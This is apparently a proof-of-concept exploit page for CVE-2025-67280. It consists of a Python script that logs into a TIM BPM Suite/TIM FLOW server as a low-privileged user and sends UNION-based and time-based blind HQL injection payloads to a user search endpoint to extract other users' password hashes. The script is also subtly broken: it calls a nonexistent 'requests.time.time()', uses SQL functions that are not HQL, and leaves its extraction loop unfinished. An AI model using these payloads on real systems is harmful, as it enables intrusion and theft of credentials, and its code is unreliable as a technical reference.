CVE-2025-67280: TIM BPM Suite/TIM FLOW HQL注入漏洞

# CVE-2025-67280 PoC - HQL Injection in TIM BPM Suite/TIM FLOW # This PoC demonstrates how a low-privileged user can exploit HQL injection # to extract password hashes of other users import requests import json from urllib.parse import urlencode TARGET_URL = "https://vulnerable-tim-server.com" LOGIN_URL = f"{TARGET_URL}/api/auth/login" INJECT_ENDPOINT = f"{TARGET_URL}/api/search/users" def login(username, password): """Authenticate with low-privileged account""" session = requests.Session() payload = { "username": username, "password": password } response = session.post(LOGIN_URL, json=payload) if response.status_code == 200: return session return None def exploit_hql_injection(session): """Execute HQL injection to extract password hashes""" # Malicious HQL payload to extract user passwords # This payload attempts to modify the query logic to bypass restrictions malicious_input = "admin' UNION SELECT password FROM users WHERE '1'='1" params = { "searchTerm": malicious_input, "filter": "all_users" } headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } response = session.get(INJECT_ENDPOINT, params=params, headers=headers) if response.status_code == 200: data = response.json() print(f"[+] Successfully extracted data: {json.dumps(data, indent=2)}") return data else: print(f"[-] Exploitation failed: {response.status_code}") return None def extract_all_passwords(session): """Extract all user passwords using blind HQL injection""" passwords = [] for user_id in range(1, 100): # Time-based blind injection to extract passwords character by character payload = f"' AND (SELECT CASE WHEN SUBSTR((SELECT password FROM users WHERE id={user_id}),1,1)='a' THEN SLEEP(5) ELSE 0 END) AND '1'='1" params = {"searchTerm": payload} start_time = requests.time.time() response = session.get(INJECT_ENDPOINT, params=params, timeout=10) elapsed = requests.time.time() - start_time if elapsed >= 5: print(f"[+] Character found for user {user_id}") # Continue extracting full password... return passwords if __name__ == "__main__": # Step 1: Login with low-privileged account session = login("low_priv_user", "password123") if not session: print("[-] Authentication failed") exit(1) print("[+] Successfully authenticated with low-privileged account") # Step 2: Exploit HQL injection vulnerability exploit_hql_injection(session)